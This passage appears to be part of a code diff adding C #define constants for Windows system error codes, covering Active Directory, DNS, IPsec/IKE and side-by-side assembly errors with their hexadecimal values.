ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF 0x218d +#define ERROR_DS_SINGLE_USER_MODE_FAILED 0x218e +#define ERROR_DS_NTDSCRIPT_SYNTAX_ERROR 0x218f +#define ERROR_DS_NTDSCRIPT_PROCESS_ERROR 0x2190 +#define ERROR_DS_DIFFERENT_REPL_EPOCHS 0x2191 +#define ERROR_DS_DRS_EXTENSIONS_CHANGED 0x2192 +#define ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR 0x2193 +#define ERROR_DS_NO_MSDS_INTID 0x2194 +#define ERROR_DS_DUP_MSDS_INTID 0x2195 +#define ERROR_DS_EXISTS_IN_RDNATTID 0x2196 +#define ERROR_DS_AUTHORIZATION_FAILED 0x2197 +#define ERROR_DS_INVALID_SCRIPT 0x2198 +#define ERROR_DS_REMOTE_CROSSREF_OP_FAILED 0x2199 +#define ERROR_DS_CROSS_REF_BUSY 0x219a +#define ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN 0x219b +#define ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC 0x219c +#define ERROR_DS_DUPLICATE_ID_FOUND 0x219d +#define ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT 0x219e +#define ERROR_DS_GROUP_CONVERSION_ERROR 0x219f +#define ERROR_DS_CANT_MOVE_APP_BASIC_GROUP 0x21a0 +#define ERROR_DS_CANT_MOVE_APP_QUERY_GROUP 0x21a1 +#define ERROR_DS_ROLE_NOT_VERIFIED 0x21a2 +#define ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL 0x21a3 +#define ERROR_DS_DOMAIN_RENAME_IN_PROGRESS 0x21a4 +#define ERROR_DS_EXISTING_AD_CHILD_NC 0x21a5 +#define ERROR_DS_REPL_LIFETIME_EXCEEDED 0x21a6 +#define ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER 0x21a7 +#define ERROR_DS_LDAP_SEND_QUEUE_FULL 0x21a8 +#define ERROR_DS_DRA_OUT_SCHEDULE_WINDOW 0x21a9 +#define ERROR_DS_POLICY_NOT_KNOWN 0x21aa +#define ERROR_NO_SITE_SETTINGS_OBJECT 0x21ab +#define ERROR_NO_SECRETS 0x21ac +#define ERROR_NO_WRITABLE_DC_FOUND 0x21ad +#define ERROR_DS_NO_SERVER_OBJECT 0x21ae +#define ERROR_DS_NO_NTDSA_OBJECT 0x21af +#define ERROR_DS_NON_ASQ_SEARCH 0x21b0 +#define ERROR_DS_AUDIT_FAILURE 0x21b1 +#define ERROR_DS_INVALID_SEARCH_FLAG_SUBTREE 0x21b2 +#define ERROR_DS_INVALID_SEARCH_FLAG_TUPLE 0x21b3 +#define ERROR_DS_HIERARCHY_TABLE_TOO_DEEP 0x21b4 +#define ERROR_DS_DRA_CORRUPT_UTD_VECTOR 0x21b5 +#define ERROR_DS_DRA_SECRETS_DENIED 0x21b6 +#define ERROR_DS_RESERVED_MAPI_ID 0x21b7 +#define ERROR_DS_MAPI_ID_NOT_AVAILABLE 0x21b8 +#define ERROR_DS_DRA_MISSING_KRBTGT_SECRET 0x21b9 +#define ERROR_DS_DOMAIN_NAME_EXISTS_IN_FOREST 0x21ba +#define ERROR_DS_FLAT_NAME_EXISTS_IN_FOREST 0x21bb +#define ERROR_INVALID_USER_PRINCIPAL_NAME 0x21bc +#define ERROR_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS 0x21bd +#define ERROR_DS_OID_NOT_FOUND 0x21be +#define ERROR_DS_DRA_RECYCLED_TARGET 0x21bf +#define ERROR_DS_DISALLOWED_NC_REDIRECT 0x21c0 +#define ERROR_DS_HIGH_ADLDS_FFL 0x21c1 +#define ERROR_DS_HIGH_DSA_VERSION 0x21c2 +#define ERROR_DS_LOW_ADLDS_FFL 0x21c3 +#define ERROR_DOMAIN_SID_SAME_AS_LOCAL_WORKSTATION 0x21c4 +#define ERROR_DS_UNDELETE_SAM_VALIDATION_FAILED 0x21c5 +#define ERROR_INCORRECT_ACCOUNT_TYPE 0x21c6 +#define ERROR_DS_SPN_VALUE_NOT_UNIQUE_IN_FOREST 0x21c7 +#define ERROR_DS_UPN_VALUE_NOT_UNIQUE_IN_FOREST 0x21c8 +#define ERROR_DS_MISSING_FOREST_TRUST 0x21c9 +#define ERROR_DS_VALUE_KEY_NOT_UNIQUE 0x21ca +#define ERROR_WEAK_WHFBKEY_BLOCKED 0x21cb +#define ERROR_DS_PER_ATTRIBUTE_AUTHZ_FAILED_DURING_ADD 0x21cc +#define ERROR_LOCAL_POLICY_MODIFICATION_NOT_SUPPORTED 0x21cd +#define ERROR_POLICY_CONTROLLED_ACCOUNT 0x21ce +#define ERROR_LAPS_LEGACY_SCHEMA_MISSING 0x21cf +#define ERROR_LAPS_SCHEMA_MISSING 0x21d0 +#define ERROR_LAPS_ENCRYPTION_REQUIRES_2016_DFL 0x21d1 +#define ERROR_LAPS_PROCESS_TERMINATED 0x21d2 +#define ERROR_DS_JET_RECORD_TOO_BIG 0x21d3 +#define ERROR_DS_REPLICA_PAGE_SIZE_MISMATCH 0x21d4 +#define DNS_ERROR_RESPONSE_CODES_BASE 0x2328 +#define DNS_ERROR_RCODE_NO_ERROR 0x0 +#define DNS_ERROR_MASK 0x2328 +#define DNS_ERROR_RCODE_FORMAT_ERROR 0x2329 +#define DNS_ERROR_RCODE_SERVER_FAILURE 0x232a +#define DNS_ERROR_RCODE_NAME_ERROR 0x232b +#define DNS_ERROR_RCODE_NOT_IMPLEMENTED 0x232c +#define DNS_ERROR_RCODE_REFUSED 0x232d +#define DNS_ERROR_RCODE_YXDOMAIN 0x232e +#define DNS_ERROR_RCODE_YXRRSET 0x232f +#define DNS_ERROR_RCODE_NXRRSET 0x2330 +#define DNS_ERROR_RCODE_NOTAUTH 0x2331 +#define DNS_ERROR_RCODE_NOTZONE 0x2332 +#define DNS_ERROR_RCODE_BADSIG 0x2338 +#define DNS_ERROR_RCODE_BADKEY 0x2339 +#define DNS_ERROR_RCODE_BADTIME 0x233a +#define DNS_ERROR_RCODE_LAST 0x233a +#define DNS_ERROR_DNSSEC_BASE 0x238c +#define DNS_ERROR_KEYMASTER_REQUIRED 0x238d +#define DNS_ERROR_NOT_ALLOWED_ON_SIGNED_ZONE 0x238e +#define DNS_ERROR_NSEC3_INCOMPATIBLE_WITH_RSA_SHA1 0x238f +#define DNS_ERROR_NOT_ENOUGH_SIGNING_KEY_DESCRIPTORS 0x2390 +#define DNS_ERROR_UNSUPPORTED_ALGORITHM 0x2391 +#define DNS_ERROR_INVALID_KEY_SIZE 0x2392 +#define DNS_ERROR_SIGNING_KEY_NOT_ACCESSIBLE 0x2393 +#define DNS_ERROR_KSP_DOES_NOT_SUPPORT_PROTECTION 0x2394 +#define DNS_ERROR_UNEXPECTED_DATA_PROTECTION_ERROR 0x2395 +#define DNS_ERROR_UNEXPECTED_CNG_ERROR 0x2396 +#define DNS_ERROR_UNKNOWN_SIGNING_PARAMETER_VERSION 0x2397 +#define DNS_ERROR_KSP_NOT_ACCESSIBLE 0x2398 +#define DNS_ERROR_TOO_MANY_SKDS 0x2399 +#define DNS_ERROR_INVALID_ROLLOVER_PERIOD 0x239a +#define DNS_ERROR_INVALID_INITIAL_ROLLOVER_OFFSET 0x239b +#define DNS_ERROR_ROLLOVER_IN_PROGRESS 0x239c +#define DNS_ERROR_STANDBY_KEY_NOT_PRESENT 0x239d +#define DNS_ERROR_NOT_ALLOWED_ON_ZSK 0x239e +#define DNS_ERROR_NOT_ALLOWED_ON_ACTIVE_SKD 0x239f +#define DNS_ERROR_ROLLOVER_ALREADY_QUEUED 0x23a0 +#define DNS_ERROR_NOT_ALLOWED_ON_UNSIGNED_ZONE 0x23a1 +#define DNS_ERROR_BAD_KEYMASTER 0x23a2 +#define DNS_ERROR_INVALID_SIGNATURE_VALIDITY_PERIOD 0x23a3 +#define DNS_ERROR_INVALID_NSEC3_ITERATION_COUNT 0x23a4 +#define DNS_ERROR_DNSSEC_IS_DISABLED 0x23a5 +#define DNS_ERROR_INVALID_XML 0x23a6 +#define DNS_ERROR_NO_VALID_TRUST_ANCHORS 0x23a7 +#define DNS_ERROR_ROLLOVER_NOT_POKEABLE 0x23a8 +#define DNS_ERROR_NSEC3_NAME_COLLISION 0x23a9 +#define DNS_ERROR_NSEC_INCOMPATIBLE_WITH_NSEC3_RSA_SHA1 0x23aa +#define DNS_ERROR_PACKET_FMT_BASE 0x251c +#define DNS_ERROR_BAD_PACKET 0x251e +#define DNS_ERROR_NO_PACKET 0x251f +#define DNS_ERROR_RCODE 0x2520 +#define DNS_ERROR_UNSECURE_PACKET 0x2521 +#define DNS_ERROR_NO_MEMORY 0xe +#define DNS_ERROR_INVALID_NAME 0x7b +#define DNS_ERROR_INVALID_DATA 0xd +#define DNS_ERROR_GENERAL_API_BASE 0x254e +#define DNS_ERROR_INVALID_TYPE 0x254f +#define DNS_ERROR_INVALID_IP_ADDRESS 0x2550 +#define DNS_ERROR_INVALID_PROPERTY 0x2551 +#define DNS_ERROR_TRY_AGAIN_LATER 0x2552 +#define DNS_ERROR_NOT_UNIQUE 0x2553 +#define DNS_ERROR_NON_RFC_NAME 0x2554 +#define DNS_ERROR_INVALID_NAME_CHAR 0x2558 +#define DNS_ERROR_NUMERIC_NAME 0x2559 +#define DNS_ERROR_NOT_ALLOWED_ON_ROOT_SERVER 0x255a +#define DNS_ERROR_NOT_ALLOWED_UNDER_DELEGATION 0x255b +#define DNS_ERROR_CANNOT_FIND_ROOT_HINTS 0x255c +#define DNS_ERROR_INCONSISTENT_ROOT_HINTS 0x255d +#define DNS_ERROR_DWORD_VALUE_TOO_SMALL 0x255e +#define DNS_ERROR_DWORD_VALUE_TOO_LARGE 0x255f +#define DNS_ERROR_BACKGROUND_LOADING 0x2560 +#define DNS_ERROR_NOT_ALLOWED_ON_RODC 0x2561 +#define DNS_ERROR_NOT_ALLOWED_UNDER_DNAME 0x2562 +#define DNS_ERROR_DELEGATION_REQUIRED 0x2563 +#define DNS_ERROR_INVALID_POLICY_TABLE 0x2564 +#define DNS_ERROR_ADDRESS_REQUIRED 0x2565 +#define DNS_ERROR_ZONE_BASE 0x2580 +#define DNS_ERROR_ZONE_DOES_NOT_EXIST 0x2581 +#define DNS_ERROR_NO_ZONE_INFO 0x2582 +#define DNS_ERROR_INVALID_ZONE_OPERATION 0x2583 +#define DNS_ERROR_ZONE_CONFIGURATION_ERROR 0x2584 +#define DNS_ERROR_ZONE_HAS_NO_SOA_RECORD 0x2585 +#define DNS_ERROR_ZONE_HAS_NO_NS_RECORDS 0x2586 +#define DNS_ERROR_ZONE_LOCKED 0x2587 +#define DNS_ERROR_ZONE_CREATION_FAILED 0x2588 +#define DNS_ERROR_ZONE_ALREADY_EXISTS 0x2589 +#define DNS_ERROR_AUTOZONE_ALREADY_EXISTS 0x258a +#define DNS_ERROR_INVALID_ZONE_TYPE 0x258b +#define DNS_ERROR_SECONDARY_REQUIRES_MASTER_IP 0x258c +#define DNS_ERROR_ZONE_NOT_SECONDARY 0x258d +#define DNS_ERROR_NEED_SECONDARY_ADDRESSES 0x258e +#define DNS_ERROR_WINS_INIT_FAILED 0x258f +#define DNS_ERROR_NEED_WINS_SERVERS 0x2590 +#define DNS_ERROR_NBSTAT_INIT_FAILED 0x2591 +#define DNS_ERROR_SOA_DELETE_INVALID 0x2592 +#define DNS_ERROR_FORWARDER_ALREADY_EXISTS 0x2593 +#define DNS_ERROR_ZONE_REQUIRES_MASTER_IP 0x2594 +#define DNS_ERROR_ZONE_IS_SHUTDOWN 0x2595 +#define DNS_ERROR_ZONE_LOCKED_FOR_SIGNING 0x2596 +#define DNS_ERROR_DATAFILE_BASE 0x25b2 +#define DNS_ERROR_PRIMARY_REQUIRES_DATAFILE 0x25b3 +#define DNS_ERROR_INVALID_DATAFILE_NAME 0x25b4 +#define DNS_ERROR_DATAFILE_OPEN_FAILURE 0x25b5 +#define DNS_ERROR_FILE_WRITEBACK_FAILED 0x25b6 +#define DNS_ERROR_DATAFILE_PARSING 0x25b7 +#define DNS_ERROR_DATABASE_BASE 0x25e4 +#define DNS_ERROR_RECORD_DOES_NOT_EXIST 0x25e5 +#define DNS_ERROR_RECORD_FORMAT 0x25e6 +#define DNS_ERROR_NODE_CREATION_FAILED 0x25e7 +#define DNS_ERROR_UNKNOWN_RECORD_TYPE 0x25e8 +#define DNS_ERROR_RECORD_TIMED_OUT 0x25e9 +#define DNS_ERROR_NAME_NOT_IN_ZONE 0x25ea +#define DNS_ERROR_CNAME_LOOP 0x25eb +#define DNS_ERROR_NODE_IS_CNAME 0x25ec +#define DNS_ERROR_CNAME_COLLISION 0x25ed +#define DNS_ERROR_RECORD_ONLY_AT_ZONE_ROOT 0x25ee +#define DNS_ERROR_RECORD_ALREADY_EXISTS 0x25ef +#define DNS_ERROR_SECONDARY_DATA 0x25f0 +#define DNS_ERROR_NO_CREATE_CACHE_DATA 0x25f1 +#define DNS_ERROR_NAME_DOES_NOT_EXIST 0x25f2 +#define DNS_ERROR_DS_UNAVAILABLE 0x25f5 +#define DNS_ERROR_DS_ZONE_ALREADY_EXISTS 0x25f6 +#define DNS_ERROR_NO_BOOTFILE_IF_DS_ZONE 0x25f7 +#define DNS_ERROR_NODE_IS_DNAME 0x25f8 +#define DNS_ERROR_DNAME_COLLISION 0x25f9 +#define DNS_ERROR_ALIAS_LOOP 0x25fa +#define DNS_ERROR_OPERATION_BASE 0x2616 +#define DNS_ERROR_AXFR 0x2618 +#define DNS_ERROR_SECURE_BASE 0x2648 +#define DNS_ERROR_SETUP_BASE 0x267a +#define DNS_ERROR_NO_TCPIP 0x267b +#define DNS_ERROR_NO_DNS_SERVERS 0x267c +#define DNS_ERROR_DP_BASE 0x26ac +#define DNS_ERROR_DP_DOES_NOT_EXIST 0x26ad +#define DNS_ERROR_DP_ALREADY_EXISTS 0x26ae +#define DNS_ERROR_DP_NOT_ENLISTED 0x26af +#define DNS_ERROR_DP_ALREADY_ENLISTED 0x26b0 +#define DNS_ERROR_DP_NOT_AVAILABLE 0x26b1 +#define DNS_ERROR_DP_FSMO_ERROR 0x26b2 +#define DNS_ERROR_RRL_NOT_ENABLED 0x26b7 +#define DNS_ERROR_RRL_INVALID_WINDOW_SIZE 0x26b8 +#define DNS_ERROR_RRL_INVALID_IPV4_PREFIX 0x26b9 +#define DNS_ERROR_RRL_INVALID_IPV6_PREFIX 0x26ba +#define DNS_ERROR_RRL_INVALID_TC_RATE 0x26bb +#define DNS_ERROR_RRL_INVALID_LEAK_RATE 0x26bc +#define DNS_ERROR_RRL_LEAK_RATE_LESSTHAN_TC_RATE 0x26bd +#define DNS_ERROR_VIRTUALIZATION_INSTANCE_ALREADY_EXISTS 0x26c1 +#define DNS_ERROR_VIRTUALIZATION_INSTANCE_DOES_NOT_EXIST 0x26c2 +#define DNS_ERROR_VIRTUALIZATION_TREE_LOCKED 0x26c3 +#define DNS_ERROR_INVAILD_VIRTUALIZATION_INSTANCE_NAME 0x26c4 +#define DNS_ERROR_DEFAULT_VIRTUALIZATION_INSTANCE 0x26c5 +#define DNS_ERROR_ZONESCOPE_ALREADY_EXISTS 0x26df +#define DNS_ERROR_ZONESCOPE_DOES_NOT_EXIST 0x26e0 +#define DNS_ERROR_DEFAULT_ZONESCOPE 0x26e1 +#define DNS_ERROR_INVALID_ZONESCOPE_NAME 0x26e2 +#define DNS_ERROR_NOT_ALLOWED_WITH_ZONESCOPES 0x26e3 +#define DNS_ERROR_LOAD_ZONESCOPE_FAILED 0x26e4 +#define DNS_ERROR_ZONESCOPE_FILE_WRITEBACK_FAILED 0x26e5 +#define DNS_ERROR_INVALID_SCOPE_NAME 0x26e6 +#define DNS_ERROR_SCOPE_DOES_NOT_EXIST 0x26e7 +#define DNS_ERROR_DEFAULT_SCOPE 0x26e8 +#define DNS_ERROR_INVALID_SCOPE_OPERATION 0x26e9 +#define DNS_ERROR_SCOPE_LOCKED 0x26ea +#define DNS_ERROR_SCOPE_ALREADY_EXISTS 0x26eb +#define DNS_ERROR_POLICY_ALREADY_EXISTS 0x26f3 +#define DNS_ERROR_POLICY_DOES_NOT_EXIST 0x26f4 +#define DNS_ERROR_POLICY_INVALID_CRITERIA 0x26f5 +#define DNS_ERROR_POLICY_INVALID_SETTINGS 0x26f6 +#define DNS_ERROR_CLIENT_SUBNET_IS_ACCESSED 0x26f7 +#define DNS_ERROR_CLIENT_SUBNET_DOES_NOT_EXIST 0x26f8 +#define DNS_ERROR_CLIENT_SUBNET_ALREADY_EXISTS 0x26f9 +#define DNS_ERROR_SUBNET_DOES_NOT_EXIST 0x26fa +#define DNS_ERROR_SUBNET_ALREADY_EXISTS 0x26fb +#define DNS_ERROR_POLICY_LOCKED 0x26fc +#define DNS_ERROR_POLICY_INVALID_WEIGHT 0x26fd +#define DNS_ERROR_POLICY_INVALID_NAME 0x26fe +#define DNS_ERROR_POLICY_MISSING_CRITERIA 0x26ff +#define DNS_ERROR_INVALID_CLIENT_SUBNET_NAME 0x2700 +#define DNS_ERROR_POLICY_PROCESSING_ORDER_INVALID 0x2701 +#define DNS_ERROR_POLICY_SCOPE_MISSING 0x2702 +#define DNS_ERROR_POLICY_SCOPE_NOT_ALLOWED 0x2703 +#define DNS_ERROR_SERVERSCOPE_IS_REFERENCED 0x2704 +#define DNS_ERROR_ZONESCOPE_IS_REFERENCED 0x2705 +#define DNS_ERROR_POLICY_INVALID_CRITERIA_CLIENT_SUBNET 0x2706 +#define DNS_ERROR_POLICY_INVALID_CRITERIA_TRANSPORT_PROTOCOL 0x2707 +#define DNS_ERROR_POLICY_INVALID_CRITERIA_NETWORK_PROTOCOL 0x2708 +#define DNS_ERROR_POLICY_INVALID_CRITERIA_INTERFACE 0x2709 +#define DNS_ERROR_POLICY_INVALID_CRITERIA_FQDN 0x270a +#define DNS_ERROR_POLICY_INVALID_CRITERIA_QUERY_TYPE 0x270b +#define DNS_ERROR_POLICY_INVALID_CRITERIA_TIME_OF_DAY 0x270c +#define ERROR_IPSEC_QM_POLICY_EXISTS 0x32c8 +#define ERROR_IPSEC_QM_POLICY_NOT_FOUND 0x32c9 +#define ERROR_IPSEC_QM_POLICY_IN_USE 0x32ca +#define ERROR_IPSEC_MM_POLICY_EXISTS 0x32cb +#define ERROR_IPSEC_MM_POLICY_NOT_FOUND 0x32cc +#define ERROR_IPSEC_MM_POLICY_IN_USE 0x32cd +#define ERROR_IPSEC_MM_FILTER_EXISTS 0x32ce +#define ERROR_IPSEC_MM_FILTER_NOT_FOUND 0x32cf +#define ERROR_IPSEC_TRANSPORT_FILTER_EXISTS 0x32d0 +#define ERROR_IPSEC_TRANSPORT_FILTER_NOT_FOUND 0x32d1 +#define ERROR_IPSEC_MM_AUTH_EXISTS 0x32d2 +#define ERROR_IPSEC_MM_AUTH_NOT_FOUND 0x32d3 +#define ERROR_IPSEC_MM_AUTH_IN_USE 0x32d4 +#define ERROR_IPSEC_DEFAULT_MM_POLICY_NOT_FOUND 0x32d5 +#define ERROR_IPSEC_DEFAULT_MM_AUTH_NOT_FOUND 0x32d6 +#define ERROR_IPSEC_DEFAULT_QM_POLICY_NOT_FOUND 0x32d7 +#define ERROR_IPSEC_TUNNEL_FILTER_EXISTS 0x32d8 +#define ERROR_IPSEC_TUNNEL_FILTER_NOT_FOUND 0x32d9 +#define ERROR_IPSEC_MM_FILTER_PENDING_DELETION 0x32da +#define ERROR_IPSEC_TRANSPORT_FILTER_PENDING_DELETION 0x32db +#define ERROR_IPSEC_TUNNEL_FILTER_PENDING_DELETION 0x32dc +#define ERROR_IPSEC_MM_POLICY_PENDING_DELETION 0x32dd +#define ERROR_IPSEC_MM_AUTH_PENDING_DELETION 0x32de +#define ERROR_IPSEC_QM_POLICY_PENDING_DELETION 0x32df +#define ERROR_IPSEC_IKE_NEG_STATUS_BEGIN 0x35e8 +#define ERROR_IPSEC_IKE_AUTH_FAIL 0x35e9 +#define ERROR_IPSEC_IKE_ATTRIB_FAIL 0x35ea +#define ERROR_IPSEC_IKE_NEGOTIATION_PENDING 0x35eb +#define ERROR_IPSEC_IKE_GENERAL_PROCESSING_ERROR 0x35ec +#define ERROR_IPSEC_IKE_TIMED_OUT 0x35ed +#define ERROR_IPSEC_IKE_NO_CERT 0x35ee +#define ERROR_IPSEC_IKE_SA_DELETED 0x35ef +#define ERROR_IPSEC_IKE_SA_REAPED 0x35f0 +#define ERROR_IPSEC_IKE_MM_ACQUIRE_DROP 0x35f1 +#define ERROR_IPSEC_IKE_QM_ACQUIRE_DROP 0x35f2 +#define ERROR_IPSEC_IKE_QUEUE_DROP_MM 0x35f3 +#define ERROR_IPSEC_IKE_QUEUE_DROP_NO_MM 0x35f4 +#define ERROR_IPSEC_IKE_DROP_NO_RESPONSE 0x35f5 +#define ERROR_IPSEC_IKE_MM_DELAY_DROP 0x35f6 +#define ERROR_IPSEC_IKE_QM_DELAY_DROP 0x35f7 +#define ERROR_IPSEC_IKE_ERROR 0x35f8 +#define ERROR_IPSEC_IKE_CRL_FAILED 0x35f9 +#define ERROR_IPSEC_IKE_INVALID_KEY_USAGE 0x35fa +#define ERROR_IPSEC_IKE_INVALID_CERT_TYPE 0x35fb +#define ERROR_IPSEC_IKE_NO_PRIVATE_KEY 0x35fc +#define ERROR_IPSEC_IKE_SIMULTANEOUS_REKEY 0x35fd +#define ERROR_IPSEC_IKE_DH_FAIL 0x35fe +#define ERROR_IPSEC_IKE_CRITICAL_PAYLOAD_NOT_RECOGNIZED 0x35ff +#define ERROR_IPSEC_IKE_INVALID_HEADER 0x3600 +#define ERROR_IPSEC_IKE_NO_POLICY 0x3601 +#define ERROR_IPSEC_IKE_INVALID_SIGNATURE 0x3602 +#define ERROR_IPSEC_IKE_KERBEROS_ERROR 0x3603 +#define ERROR_IPSEC_IKE_NO_PUBLIC_KEY 0x3604 +#define ERROR_IPSEC_IKE_PROCESS_ERR 0x3605 +#define ERROR_IPSEC_IKE_PROCESS_ERR_SA 0x3606 +#define ERROR_IPSEC_IKE_PROCESS_ERR_PROP 0x3607 +#define ERROR_IPSEC_IKE_PROCESS_ERR_TRANS 0x3608 +#define ERROR_IPSEC_IKE_PROCESS_ERR_KE 0x3609 +#define ERROR_IPSEC_IKE_PROCESS_ERR_ID 0x360a +#define ERROR_IPSEC_IKE_PROCESS_ERR_CERT 0x360b +#define ERROR_IPSEC_IKE_PROCESS_ERR_CERT_REQ 0x360c +#define ERROR_IPSEC_IKE_PROCESS_ERR_HASH 0x360d +#define ERROR_IPSEC_IKE_PROCESS_ERR_SIG 0x360e +#define ERROR_IPSEC_IKE_PROCESS_ERR_NONCE 0x360f +#define ERROR_IPSEC_IKE_PROCESS_ERR_NOTIFY 0x3610 +#define ERROR_IPSEC_IKE_PROCESS_ERR_DELETE 0x3611 +#define ERROR_IPSEC_IKE_PROCESS_ERR_VENDOR 0x3612 +#define ERROR_IPSEC_IKE_INVALID_PAYLOAD 0x3613 +#define ERROR_IPSEC_IKE_LOAD_SOFT_SA 0x3614 +#define ERROR_IPSEC_IKE_SOFT_SA_TORN_DOWN 0x3615 +#define ERROR_IPSEC_IKE_INVALID_COOKIE 0x3616 +#define ERROR_IPSEC_IKE_NO_PEER_CERT 0x3617 +#define ERROR_IPSEC_IKE_PEER_CRL_FAILED 0x3618 +#define ERROR_IPSEC_IKE_POLICY_CHANGE 0x3619 +#define ERROR_IPSEC_IKE_NO_MM_POLICY 0x361a +#define ERROR_IPSEC_IKE_NOTCBPRIV 0x361b +#define ERROR_IPSEC_IKE_SECLOADFAIL 0x361c +#define ERROR_IPSEC_IKE_FAILSSPINIT 0x361d +#define ERROR_IPSEC_IKE_FAILQUERYSSP 0x361e +#define ERROR_IPSEC_IKE_SRVACQFAIL 0x361f +#define ERROR_IPSEC_IKE_SRVQUERYCRED 0x3620 +#define ERROR_IPSEC_IKE_GETSPIFAIL 0x3621 +#define ERROR_IPSEC_IKE_INVALID_FILTER 0x3622 +#define ERROR_IPSEC_IKE_OUT_OF_MEMORY 0x3623 +#define ERROR_IPSEC_IKE_ADD_UPDATE_KEY_FAILED 0x3624 +#define ERROR_IPSEC_IKE_INVALID_POLICY 0x3625 +#define ERROR_IPSEC_IKE_UNKNOWN_DOI 0x3626 +#define ERROR_IPSEC_IKE_INVALID_SITUATION 0x3627 +#define ERROR_IPSEC_IKE_DH_FAILURE 0x3628 +#define ERROR_IPSEC_IKE_INVALID_GROUP 0x3629 +#define ERROR_IPSEC_IKE_ENCRYPT 0x362a +#define ERROR_IPSEC_IKE_DECRYPT 0x362b +#define ERROR_IPSEC_IKE_POLICY_MATCH 0x362c +#define ERROR_IPSEC_IKE_UNSUPPORTED_ID 0x362d +#define ERROR_IPSEC_IKE_INVALID_HASH 0x362e +#define ERROR_IPSEC_IKE_INVALID_HASH_ALG 0x362f +#define ERROR_IPSEC_IKE_INVALID_HASH_SIZE 0x3630 +#define ERROR_IPSEC_IKE_INVALID_ENCRYPT_ALG 0x3631 +#define ERROR_IPSEC_IKE_INVALID_AUTH_ALG 0x3632 +#define ERROR_IPSEC_IKE_INVALID_SIG 0x3633 +#define ERROR_IPSEC_IKE_LOAD_FAILED 0x3634 +#define ERROR_IPSEC_IKE_RPC_DELETE 0x3635 +#define ERROR_IPSEC_IKE_BENIGN_REINIT 0x3636 +#define ERROR_IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY 0x3637 +#define ERROR_IPSEC_IKE_INVALID_MAJOR_VERSION 0x3638 +#define ERROR_IPSEC_IKE_INVALID_CERT_KEYLEN 0x3639 +#define ERROR_IPSEC_IKE_MM_LIMIT 0x363a +#define ERROR_IPSEC_IKE_NEGOTIATION_DISABLED 0x363b +#define ERROR_IPSEC_IKE_QM_LIMIT 0x363c +#define ERROR_IPSEC_IKE_MM_EXPIRED 0x363d +#define ERROR_IPSEC_IKE_PEER_MM_ASSUMED_INVALID 0x363e +#define ERROR_IPSEC_IKE_CERT_CHAIN_POLICY_MISMATCH 0x363f +#define ERROR_IPSEC_IKE_UNEXPECTED_MESSAGE_ID 0x3640 +#define ERROR_IPSEC_IKE_INVALID_AUTH_PAYLOAD 0x3641 +#define ERROR_IPSEC_IKE_DOS_COOKIE_SENT 0x3642 +#define ERROR_IPSEC_IKE_SHUTTING_DOWN 0x3643 +#define ERROR_IPSEC_IKE_CGA_AUTH_FAILED 0x3644 +#define ERROR_IPSEC_IKE_PROCESS_ERR_NATOA 0x3645 +#define ERROR_IPSEC_IKE_INVALID_MM_FOR_QM 0x3646 +#define ERROR_IPSEC_IKE_QM_EXPIRED 0x3647 +#define ERROR_IPSEC_IKE_TOO_MANY_FILTERS 0x3648 +#define ERROR_IPSEC_IKE_NEG_STATUS_END 0x3649 +#define ERROR_IPSEC_IKE_KILL_DUMMY_NAP_TUNNEL 0x364a +#define ERROR_IPSEC_IKE_INNER_IP_ASSIGNMENT_FAILURE 0x364b +#define ERROR_IPSEC_IKE_REQUIRE_CP_PAYLOAD_MISSING 0x364c +#define ERROR_IPSEC_KEY_MODULE_IMPERSONATION_NEGOTIATION_PENDING 0x364d +#define ERROR_IPSEC_IKE_COEXISTENCE_SUPPRESS 0x364e +#define ERROR_IPSEC_IKE_RATELIMIT_DROP 0x364f +#define ERROR_IPSEC_IKE_PEER_DOESNT_SUPPORT_MOBIKE 0x3650 +#define ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE 0x3651 +#define ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_FAILURE 0x3652 +#define ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE_WITH_OPTIONAL_RETRY 0x3653 +#define ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_AND_CERTMAP_FAILURE 0x3654 +#define ERROR_IPSEC_IKE_NEG_STATUS_EXTENDED_END 0x3655 +#define ERROR_IPSEC_BAD_SPI 0x3656 +#define ERROR_IPSEC_SA_LIFETIME_EXPIRED 0x3657 +#define ERROR_IPSEC_WRONG_SA 0x3658 +#define ERROR_IPSEC_REPLAY_CHECK_FAILED 0x3659 +#define ERROR_IPSEC_INVALID_PACKET 0x365a +#define ERROR_IPSEC_INTEGRITY_CHECK_FAILED 0x365b +#define ERROR_IPSEC_CLEAR_TEXT_DROP 0x365c +#define ERROR_IPSEC_AUTH_FIREWALL_DROP 0x365d +#define ERROR_IPSEC_THROTTLE_DROP 0x365e +#define ERROR_IPSEC_DOSP_BLOCK 0x3665 +#define ERROR_IPSEC_DOSP_RECEIVED_MULTICAST 0x3666 +#define ERROR_IPSEC_DOSP_INVALID_PACKET 0x3667 +#define ERROR_IPSEC_DOSP_STATE_LOOKUP_FAILED 0x3668 +#define ERROR_IPSEC_DOSP_MAX_ENTRIES 0x3669 +#define ERROR_IPSEC_DOSP_KEYMOD_NOT_ALLOWED 0x366a +#define ERROR_IPSEC_DOSP_NOT_INSTALLED 0x366b +#define ERROR_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES 0x366c +#define ERROR_SXS_SECTION_NOT_FOUND 0x36b0 +#define ERROR_SXS_CANT_GEN_ACTCTX 0x36b1 +#define ERROR_SXS_INVALID_ACTCTXDATA_FORMAT 0x36b2 +#define ERROR_SXS_ASSEMBLY_NOT_FOUND 0x36b3 +#define ERROR_SXS_MANIFEST_FORMAT_ERROR 0x36b4 +#define ERROR_SXS_MANIFEST_PARSE_ERROR 0x36b5 +#define ERROR_SXS_ACTIVATION_CONTEXT_DISABLED 0x36b6 +#define ERROR_SXS_KEY_NOT_FOUND 0x36b7 +#define ERROR_SXS_VERSION_CONFLICT 0x36b8 +#define ERROR_SXS_WRONG_SECTION_TYPE 0x36b9 +#define 